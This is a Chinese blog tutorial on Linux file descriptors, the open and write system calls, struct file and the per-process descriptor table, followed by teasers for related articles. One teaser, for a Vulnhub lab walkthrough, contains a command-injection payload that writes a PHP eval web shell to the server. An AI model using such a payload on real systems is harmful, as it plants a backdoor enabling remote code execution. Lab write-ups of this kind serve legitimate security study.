文件系统 --- 文件结构体,文件fd以及文件描述符表

news2024/12/27 13:35:15

序言

 在编程的世界里,文件操作是不可或缺的一部分。无论是数据的持久化存储、日志记录,还是简单的文本编辑,文件都扮演着至关重要的角色。然而,当我们通过编程语言如 C、Java 等轻松地进行文件读写时,背后隐藏的复杂机制和底层细节往往被我们所忽略。
 本文将带着大家理解文件操作在底层的样子,原来文件不仅仅是被简单地读入或写入内存中。


1. 系统调用接口 🔁 用户编程接口

 操作系统(简称 OS )是计算机系统的核心软件,它管理计算机的硬件和软件资源,为上层应用程序提供一个稳定、统一的运行环境。
 如果将你的电脑比作财产的话,那么操作系统就是你的管家,而且还是一个强势的管家。

1.1 系统调用接口

1. 系统调用接口的概念

 当你想要访问你的计算机的软硬件资源时,必须符合操作系统的规定,而系统调用就是操作系统为用户空间程序提供的一种服务接口。

2. 为什么要存在系统调用接口

 我的电脑我想干嘛就干嘛呀! 😤 为什么操作系统管的这么严呀,还要按照他的要求来使用,到底谁是主人呀!
 操作系统的存在就是避免用户不合法的行为(比如:错误的修改数据,不正确的使用)导致争整个系统的崩溃!所以正是想要用户得到一个良好的运行环境,才约束用户的行为。

3. 系统调用接口的作用

 系统调用是计算机操作系统中非常核心的概念,它的作用包含但不限于如下内容:

  • 硬件保护与隔离:系统调用作为用户程序和硬件设备之间的中介,确保用户程序不能直接访问硬件,从而保护硬件资源免受非法访问和破坏。
  • 资源管理与分配:操作系统通过系统调用来管理CPU时间、内存、文件和设备等系统资源,确保资源的公平分配和有效利用。
  • 实现操作系统功能:系统调用是操作系统实现各种功能(如进程管理、内存管理、文件系统、网络通信等)的基础。

1.2 用户编程接口

1. 用户编程接口的概念

 用户操作接口接口(API)是操作系统或库函数提供给程序员的接口,在 C 语言环境中,API 通常以库函数的形式出现,这些函数封装了系统调用的细节,为程序员提供了更为简便、易用的编程接口。

2. 为什么要存在用户编程接口

API 提供了一种对系统调用抽象和封装。通过将复杂的系统细节隐藏起来,API 只暴露用户需要的功能和接口,使得用户(包括程序员)可以更容易地理解和使用这些功能。这种抽象和封装降低了直接与系统底层交互的难度和复杂性。

3. 编程接口的跨平台性

 除了简化用户对系统调用的使用,编程接口还具有一个非常重要的性质,那就是 跨平台性
 系统调用接口对应不同的系统如 Linux, Windows,Mac等,实现的细节肯定是不一致的。所以你在 Linux 系统下使用了系统调用的程序,在 Mac 下就不一定能运行。
 但是 API 通过特定的方法(如条件编译配置)可以实现在不同的平台下都能正常运行。


2. 利用系统调用接口进行文件操作🐧

 在使用 C 语言进行文件操作时,我们利用 fopen 函数以特定的方式打开一个文件,利用 fread 读取文件或者是利用 fwrite 写文件,最后利用 fclose 函数关闭文件。
 这都是将系统接口进行封装过后的 API,今天我们尝试直接使用系统接口,这更加接近底层,更好的帮助我们引出后续的内容。😀

2.1 open 函数

 系统提供的 open 函数有两个版本:

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

下面多出的 mode 参数用于指定新创建文件的权限,所以我们使用下面那个的版本。我们看看他整体的参数:

  • pathname :指向要打开的文件的路径名
  • flags : 用于指定打开文件的方式以及其他选项(如是否创建文件)。这些选项可以通过位或操作组合起来。
  • mode : 指定新创建文件的权限 。
  • 返回值为一个 int,叫做文件描述符(fd

我们在这里详细介绍 flags 参数 以及 mode 参数:

flags 参数 — 位图

 某些函数需要我们传递标志位,该函数根据标志位执行特定的功能,就比如:

  1 #include <iostream>
  2 using namespace std;
  3 
  4 
  5 int Func(int num, int flag1, int flag2, int flag3){
  6     if(flag1 == 1){
  7         num = num + 1;
  8     }
  9     if(flag2 == 1){
 10         num = num - 1;
 11     }
 12     if(flag3 == 1){
 13         num = num * 2;
 14     }
 15 
 16     return num;
 17 }
 18 
 19 
 20 int main(){
 21     int num = 10;
 22     int flag1 = 1, flag2 = 0, flag3 = 1;
 23 
 24     num = Func(num, flag1, flag2, flag3);
 25     cout << "num = " << num << endl;                                                                                                                                                                          
 26 
 27     return 0;
 28 }

我们根据 3 个标志位质的不同执行不同的逻辑,但现在只是 3 个标志位,如果是 10 个,20 个,那我们也设置相同数量的形参吗,这太麻烦,也太浪费空间了。

那怎么办呢?位图。一个 int 变量在该环境下是 32 位,是否可以表示为 32 种状态呢?为了简单,就拿 8 位举例:

#define FLAG1 1 // 0000 0001
#define FLAG2 2 // 0000 0010
#define FLAG3 4 // 0000 0100

不同的状态对应的位置我就取 1 ,如果这 3 个状态我都想要呢?那就利用 | 或对他们进行运算:

FLAG1 | FLAG2 | FLAG3 // 0000 0111

可以看到,这就代表这三个状态我都表示,并且不同的状态之间是相互不干扰的。

根据这个方法,我们更新上述代码:

  1 #include <iostream>
  2 using namespace std;
  3 
  4 #define FLAG1 1 // 0000 0001
  5 #define FLAG2 2 // 0000 0010
  6 #define FLAG3 4 // 0000 0100
  7 
  8 // 利用 & 操作,判断是否选取该状态
  9 int Func(int num, int flags){
 10     if(flags & FLAG1){
 11         num = num + 1;
 12     }
 13     if(flags & FLAG2){
 14         num = num - 1;
 15     }
 16     if(flags & FLAG3){                                                                                                                                                                                        
 17         num = num * 2;
 18     }
 19 
 20     return num;
 21 }
 22 
 23 
 24 int main(){
 25     int num = 10;
 26 
 27     num = Func(num, FLAG1 | FLAG3);
 28     cout << "num = " << num << endl;
 29 
 30     return 0;
 31 }

flags 参数就采用了位图的方式,我将列举我们常用的选项:

  • O_RDONLY:以只读方式打开文件。
  • O_WRONLY:以只写方式打开文件。
  • O_RDWR:以读写方式打开文件。
  • O_CREAT:如果文件不存在,则创建它。需要 mode 参数来指定新文件的权限。
  • O_TRUNC:如果文件已存在且为只写或读写模式打开,则清空文件内容。
  • O_APPEND:以追加方式打开文件,数据会被写入到文件尾。

mode 参数 — 文件权限

 关于文件权限的知识在这里就不展开细说了,这样的话篇幅太长了,也不易消化😖。我专门有一篇文章 👉点击查看 详细地介绍了文件权限相关的知识,大家有兴趣可以看一下哈。

 前置知识结束了,现在我们可以进入正题了,我们以写的方式创建一个新的文件:

 16     // 写方式打开文件,并且文件不存在就创建一个,文件的权限是 rw-rw-r--
 17     int fd = open("log.txt", O_WRONLY | O_CREAT, 0666);
 18     if(fd == -1) perror("open");

注意:这里就可以看出系统调用接口和编程接口的区别,在 C语言中的 fopen 函数,当文件不存在时会为我们自动创建一个文件,而系统调用接口就需要我们指定。

2.2 write 函数

write 函数的参数就稍显简单一些:

ssize_t write(int fd, const void *buf, size_t count);
  • fd : 要写入数据的文件描述符。
  • buf:指向要写入数据的缓冲区的指针。
  • count:要写入文件的字节数。
  • 返回值:写入错位时返回 -1

我们就直接写入内容吧:

 20     // 写入指定信息
 21     const char* msg = "Its a test!!!\n";                                                                                                                                                                      
 22     ssize_t ret = write(fd, msg, strlen(msg));
 23     if(ret == -1) perror("write");

2.3 运行结果

 系统按照我们的需求创建了一个指定权限的文件:
在这里插入图片描述
并且为我们写入了相应的内容:
在这里插入图片描述


3. 提出几个为什么

 我们需要根据现有的现象来发现问题,不断地问自己为什么,这才能提升自己。

3.1 fd 文件描述符是什么?

 我们通过接受 open 函数返回的 fd 文件描述符,并将 fd 传入到 write 函数的参数中,就可以向指定文件写入内容,这是为什么呢?怎么就可以根据一个 fd 的整数向指定文件写入内容呢?

3.2 open 函数的返回值?

 我们先看一段代码:

 21 int main(){
 22     int fd1 = open("log1.txt", O_WRONLY | O_CREAT, 0666);
 23     printf("fd1: %d.\n", fd1);
 24 
 25     int fd2 = open("log2.txt", O_WRONLY | O_CREAT, 0666);
 26     printf("fd2: %d.\n", fd2);
 27 
 28     int fd3 = open("log3.txt", O_WRONLY | O_CREAT, 0666);
 29     printf("fd3: %d.\n", fd3);
 30 
 31     int fd4 = open("log4.txt", O_WRONLY | O_CREAT, 0666);
 32     printf("fd4: %d.\n", fd4);                                                                                                                                                                                
 33     return 0;
 34 }

这段代码的输出结果是:

fd1: 3.
fd2: 4.
fd3: 5.
fd4: 6.

我们知道 open 函数的返回值是 fd ,但为什么他们的值是连续的?并且唯独缺少 0, 1, 2,这是巧合吗?如果一次运行时这样,有理由怀疑是巧合。但是,我们多次运行还是这样,那就肯定不是了。


4. struct file 结构体

 当一个文件没有被任何进程调度时,该文件就静静的躺在你的磁盘中。但是当文件被调度时,就会被送往内存中,所以内存中的文件就只是文件的内容吗?肯定不是!同一时间,内存中肯定存在着大量需要操作的文件,操作系统需要高效的管理文件那怎么办呢?
 使用 结构体 + 双链表 的结构,类似于管理进程的结构 ,在这篇文章,有较详细的说明👉点击查看。

4.1 struct file 中的内容

 该结构体中包含了文件的基本信息,包括:

  • f_op:指向一个 file_operations 结构体的指针,该结构体包含了指向文件操作函数的指针,如 read、write、open、release 等。
  • f_count:表示有多少进程或文件描述符引用了这个文件。当 f_count 降到 0 时,文件将被关闭。
  • f_flags:包含文件的标志,如 O_RDONLY、O_WRONLY、O_RDWR 等,表示文件的打开模式。
  • f_mode:表示文件的访问模式(只读、只写、读写)。
  • f_pos:当前的文件偏移量,表示下一次读写操作将从哪个位置开始。
  • f_owner:包含文件的所有者信息,用于权限检查。


4.2 相关的内核级别的缓存区

 还有一个空间叫做 缓冲区 尽管不直接受到该结构体的管理,但是和结构体紧密相关:
在这里插入图片描述
可以看出该 缓存 就是一块在内存中的空间,那有啥用呢?用处可大了!

当用户请求读取文件时,内核会首先检查缓冲区中是否已经缓存了所需的数据。如果是,则直接从缓冲区中读取数据,避免了磁盘访问的延迟。如果不是,内核会从磁盘读取数据到缓冲区中,并更新缓冲区的内容。

当用户更新文件内容时,内核并不会直接将该内容立马更新到磁盘上,而是先放在缓冲区等到累积到一定的量,在一次写入磁盘,减少 I/O 操作。

所以对于内存这种告诉设备来说,内核级缓冲区通过减少对磁盘等低速设备的直接访问次数,显著提高了文件I/O操作的性能。

4.3 理解 Linux 一切皆文件

 相信大家肯定听过一句话,Linux 中一切皆文件。但是对于我们的键盘,鼠标,显示屏来说,他们确实是实实在在的硬件呀!我该怎么把它看作文件呢?

属性 + 方法

 对于任何的硬件设备都离不开两个概念 属性 + 方法,但是本章节我们主要关注该结构体的 方法Linux 将一切的对象都视作一个文件,那么就拿键盘举例吧,请问键盘这个文件有什么方法呢?无非就是 读方法 或者是 写方法!键盘你能读我理解,写方法 又是什么呢?键盘确实没有写方法,该方法置空不就好啦!

所以我们可以这么看待硬件:
在这里插入图片描述
对于操作系统来说,对于普通文件的管理使用的是一个 struct file ,里面包含文件的基本属性以及读写方法等,对于硬件我也可以一同看待呀!也还不是硬件的基本属性以及读写方法:
在这里插入图片描述
所以说当操作系统调用一个文件的时候,才不关心该文件本质是硬件还是啥,我该使用读方法就使用读方法,改写就使用写方法,反正所有文件的操作函数接口是一致的。

这就是使用 struct 封装的好处,尽管底层千差万别,但是上层的调用都是一致的!


5. fd 含义以及文件描述符表

 上面说到,操作系统会将系统调度的所有文件的 struct 利用双链表的形式管理起来。我们的一个进程可能同一时间调度多个文件,又该如何管理呢?

5.1 文件描述符表

 进程会将自己所控制的所有文件的 struct 结构体的指针放在一个文件描述表中:(注:该表中包含其他信息,但在本文中不关注。
在这里插入图片描述
该表包含一个结构体指针数组,每一个存储的元素就是你所控制文件结构体的指针,该表可以在进程的 PCB (在 Linux 下叫做 struct_task)中找到。

5.2 fd 的含义

 到这里就不难理解 fd 的含义了,他为你想要操作文件的结构体指针在结构体指针数组里面的下标。依靠他,就能找到想要操作文件的位置,环环相扣!

5.3 fd 的分配方式

 那进程新加入文件描述符表的文件,怎么分配 fd呢?会从上到下遍历该表,哪个位置是空闲的就放到哪个位置。


6. 解答疑惑

 有了一定的知识基础之后,我们尝试解决在 3 中提出的问题。

6.1 fd 文件描述符是什么?

 进程新使用的文件会将该文件的结构体指针放入进程描述符表的结构体指针数组中,该 fd 就是指针放入结构体指针数组的下标位置。有点绕口哈😇

6.2 open 函数的返回值?

 为什么 open 函数的返回值缺少 0, 1, 2 呢?因为这几个文件描述符已经被标准输入(stdin)、标准输出(stdout)和标准错误输出(stderr)在进程启动时占用。

  • 0 通常被分配给标准输入 键盘stdin
  • 1 通常被分配给标准输出 显示器stdout
  • 2 通常被分配给标准错误输出 显示器stderr

怎么证明呢?
证明 1:

   14 int main(){
   15 
   16     const char* msg = "Its a test!!!\n";
   17     ssize_t ret = write(1, msg, strlen(msg));                                                                                                                                                               
   18 
   19     return 0;
   20 }

我们直接向 1 对应的文件写入信息,运行,成功在显示器打印:

Its a test!!!

证明 2:

 13 int main(){
 14 
 15     umask(0);
 16 
 17     close(1);// 关闭显示器文件
 18 
 19     // 写方式打开文件,并且文件不存在就创建一个,文件的权限是 rw-rw-r--
 20     int fd = open("log.txt", O_WRONLY | O_CREAT, 0666);
 21     if(fd == -1) perror("open");
 22     printf("fd = %d.\n", fd);        
 23                                                                                                                                                                                                               
 24                                                          
 25     return 0;                         
 26 }

在这里我们关闭 1 对应的文件,之后我们打开一个文件,并打印。
最后我们发现,并没有输出任何内容到屏幕上,反而内容在 log.txt 文件上?

大家思考一下这是为什么?


7. 总结

 在这篇文章中介绍了部分文件系统的内容,希望大家有所收获!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1965181.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#面向对象补全计划 之 画UML类图(持续更新)

本文仅作学习笔记与交流&#xff0c;不作任何商业用途&#xff0c;作者能力有限&#xff0c;如有不足还请斧正 本系列旨在通过补全学习之后&#xff0c;给出任意类图都能实现并做到逻辑上严丝合缝 学会这套规则&#xff0c;并看完面向对象补全计划文章之后&#xff0c;可以尝试…

Ubuntu20.04安装Angular CLI

一、更换apt-get源 使用原来的apt-get源有几个包报错&#xff0c;下不下来 更换阿里源&#xff08;阿里巴巴开源镜像站-OPSX镜像站-阿里云开发者社区&#xff09;&#xff0c;使用网站中的内容&#xff0c;在 apt-get update 时总是报错 改用清华源&#xff1a; deb http:/…

多种方式防止表单重复提交

1.前端方案&#xff1a; 通过js将按钮绑定一个方法&#xff0c;点击后3s内将按钮设置成不可用&#xff0c;或者隐藏。 缺点&#xff1a;绕过前端&#xff0c;例如通过postman发请求。 2.hashmap版&#xff1a; 请求携带一个参数&#xff0c;将请求携带的参数&#xff08;可…

牛客JS题(十四)类继承

注释很详细&#xff0c;直接上代码 涉及知识点&#xff1a; 类的基本使用构造函数实现类原型链的使用 题干&#xff1a; 我的答案 <!DOCTYPE html> <html><head><meta charset"utf-8" /></head><body><script type"tex…

这两个大龄程序员,打算搞垮一个世界软件巨头!

大家都知道&#xff0c;Adobe是多媒体和数字内容创作者的绝对王者&#xff0c;它的旗下有众多大家耳熟能详的软件&#xff1a;Photoshop、Illustrator、Premiere Pro、After Effects、InDegign、Acrobat、Animate等等。 这些软件使用门槛很高&#xff0c;价格昂贵&#xff0c;安…

安装 Terraform for Tencent 使用

第一步 &#xff1a;下载安装包 前往 Terraform 官网&#xff0c;使用命令行直接安装 Terraform 或下载二进制安装文件。 解压并配置全局路径 Linux/MAC&#xff1a;export PATH$PATH:${可执行文件所在目录} 例如&#xff1a;export PATH$PATH:$/usr/bin/terraform Win…

Vulnhub靶机-Jangow 1.0.1

Vulnhub靶机-Jangow 1.0.1 修改为NAT模式 ?buscarecho <?php eval($_POST[cmd])?> >shell.php后面试了试很多网上的方法反弹shell但都不行

LeetCode面试150——122买卖股票的最佳时机II

题目难度&#xff1a;中等 默认优化目标&#xff1a;最小化平均时间复杂度。 Python默认为Python3。 目录 1 题目描述 2 题目解析 3 算法原理及题目解析 3.1 动态规划 3.2 贪心算法 参考文献 1 题目描述 给你一个整数数组 prices &#xff0c;其中 prices[i] 表示某支…

Spring-FactoryBean来配置Bean

spring通过FactoryBean配置&#xff0c;比前面的工厂方法配置Bean要重要些&#xff0c;因为我们整合很多第三方的框架的时候&#xff0c;需要用到FactoryBean来配置第三方框架中的bean 对象&#xff0c;从而把第三方框架整合到spring中来&#xff01;当然在整合这些第三方框架的…

2024西安铁一中集训DAY28 ---- 模拟赛(简单dp + 堆,模拟 + 点分治 + 神秘dp)

文章目录 前言时间安排及成绩题解A. 江桥不会做的签到题&#xff08;简单dp&#xff09;B. 江桥树上逃&#xff08;堆&#xff0c;模拟&#xff09;C. 括号平衡路径&#xff08;点分治&#xff09;D. 回到起始顺序&#xff08;dp&#xff0c;组合数学&#xff09; 前言 T2好难…

吴恩达老师机器学习-ex4

梯度检测没有实现。有借鉴网上的部分 导入相关库&#xff0c;读取数据 因为这次的数据是mat文件&#xff0c;需要使用scipy库中的loadmat进行读取数据。 通过对数据类型的分析&#xff0c;发现是字典类型&#xff0c;查看该字典的键&#xff0c;可以发现又X&#xff0c;y等关…

使用obsidian-webpage-export 插件,将 Obsidian 中的笔记导出为网页

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…

2024下《网络工程师》案例简答题,刷这些就够了!

距离2024下半年软考已经越来越近了&#xff0c;不知道今年备考软考网络工程师的同学们开始准备了吗&#xff1f; 简答题一直是网工拿分的重点区域&#xff0c;对于许多考生来说&#xff0c;也往往是最具挑战性的部分。今天我就把那些重要的案例简答题类型整理汇总给大家&#x…

【Python学习手册(第四版)】学习笔记12-if语句(and、or、三元表达式)详解

个人总结难免疏漏&#xff0c;请多包涵。更多内容请查看原文。本文以及学习笔记系列仅用于个人学习、研究交流。 本文较简单&#xff0c;对if语句的格式、示例、多路做了示例&#xff0c;以及真值测试&#xff08;and、or等&#xff09;介绍&#xff0c;最后介绍了三三元表达式…

M12电连接器的编码分类及应用领域分析

12电连接器的编码主要包括A、B、C、D、X、S、T、K、L等类型&#xff0c;每种编码都有其特定的应用场景和功能&#xff1a; A编码&#xff1a;适用于传感器、直流电、1G以太网。 B编码&#xff1a;主要用于PROFIBUS总线系统。 C编码&#xff1a;适用于交流电。 D编码&#x…

十八次(虚拟主机与vue项目、samba磁盘映射、nfs共享)

1、虚拟主机搭建环境准备 将原有的nginx.conf文件备份 [rootserver ~]# cp /usr/local/nginx/conf/nginx.conf /usr/local/nginx/conf/nginx.conf.bak[rootserver ~]# grep -Ev "#|^$" /usr/local/nginx/conf/nginx.conf[rootserver ~]# grep -Ev "#|^$"…

视频编辑SDK,功能全面、包体小,支持高效灵活接入

如何在快节奏的市场环境中&#xff0c;快速制作出高质量、富有吸引力的视频内容&#xff0c;成为了众多企业面临的共同挑战。美摄科技&#xff0c;作为视频编辑技术的先行者&#xff0c;携其全面功能、小巧包体、高效灵活接入的视频编辑SDK&#xff0c;为企业视频创作带来了革命…

pytorch tensor的高级索引

1. 取索引的方式[[a,b,c...],[a,b,c...] ] 下面的例子对于这个x进行操作 全取x, print(x[:,:,:]) 第一个冒号代表0轴&#xff0c;第二个冒号代表1轴&#xff0c;第三个冒号代表2轴 第一个冒号可以选这类 第二个冒号可以选这类 第三个冒号可以选这类 2. 比较符号 idxx[:,0,:…

全麦饼:健康与美味的完美结合

在追求健康饮食的当下&#xff0c;全麦饼以其独特的魅力脱颖而出&#xff0c;成为了众多美食爱好者的新宠。食家巷全麦饼&#xff0c;顾名思义&#xff0c;主要由全麦面粉制作而成。与普通面粉相比&#xff0c;全麦面粉保留了小麦的麸皮、胚芽和胚乳&#xff0c;富含更多的膳食…

基于SpringBoot+Vue的热门网游推荐网站(带1w+文档)

基于SpringBootVue的热门网游推荐网站(带1w文档) 基于SpringBootVue的热门网游推荐网站(带1w文档) 本系统选用B/S结构开发&#xff0c;它是一个提供可以对热门网游推荐进行信息管理的系统&#xff0c;用户可以在该系统获取最新动态&#xff0c;可以结识更多的朋友&#xff0c;产…